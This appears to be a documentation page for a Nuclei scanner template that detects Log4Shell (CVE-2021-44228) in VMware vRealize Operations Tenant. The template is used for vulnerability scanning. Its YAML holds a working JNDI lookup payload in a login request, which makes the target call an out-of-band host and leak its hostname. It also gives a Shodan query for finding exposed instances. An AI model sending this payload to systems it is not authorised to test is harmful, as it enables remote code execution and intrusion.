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VMware vRealize Operations Tenant - JNDI Remote Code Execution (Apache Log4j)

ID: vrealize-operations-log4j-rce

Severity: critical

Author: bughuntersurya

Tags: cve,cve2021,oast,rce,log4j,vmware,vrealize,kev

Description

Section titled “Description”

VMware vRealize Operations is susceptible to a critical vulnerability in Apache Log4j which may allow remote code execution in an impacted vRealize Operations Tenant application.

YAML Source

Section titled “YAML Source”
id: vrealize-operations-log4j-rce


info:
  name: VMware vRealize Operations Tenant - JNDI Remote Code Execution (Apache Log4j)
  author: bughuntersurya
  severity: critical
  description: |
    VMware vRealize Operations is susceptible to a critical vulnerability in Apache Log4j which may allow remote code execution in an impacted vRealize Operations Tenant application.
  reference:
    - https://www.vmware.com/security/advisories/VMSA-2021-0028.html
    - https://core.vmware.com/vmsa-2021-0028-questions-answers-faq
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44228
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45046
    - https://logging.apache.org/log4j/2.x/security.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:vmware:vrealize_operations:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"vRealize Operations Tenant App"
    product: vrealize_operations
    vendor: vmware
  tags: cve,cve2021,oast,rce,log4j,vmware,vrealize,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'


http:
  - raw:
      - |
        POST /suite-api/api/auth/token/acquire HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Origin: {{RootURL}}
        Referer: {{RootURL}}/ui/


        {"username":"${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}}","password":"admin"}


    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"


      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


    extractors:
      - type: kval
        kval:
          - interactsh_ip


      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'


      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4b0a00483046022100ee0832a980b0fd15cd30ef62e036059a225458ea86c6746da3d146835f2a4f410221008eaf97ea24722963647cd8b465e7b664035db5ab08258ec44522492a5d614797:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/vmware/vrealize-operations-log4j-rce.yaml"

View on Github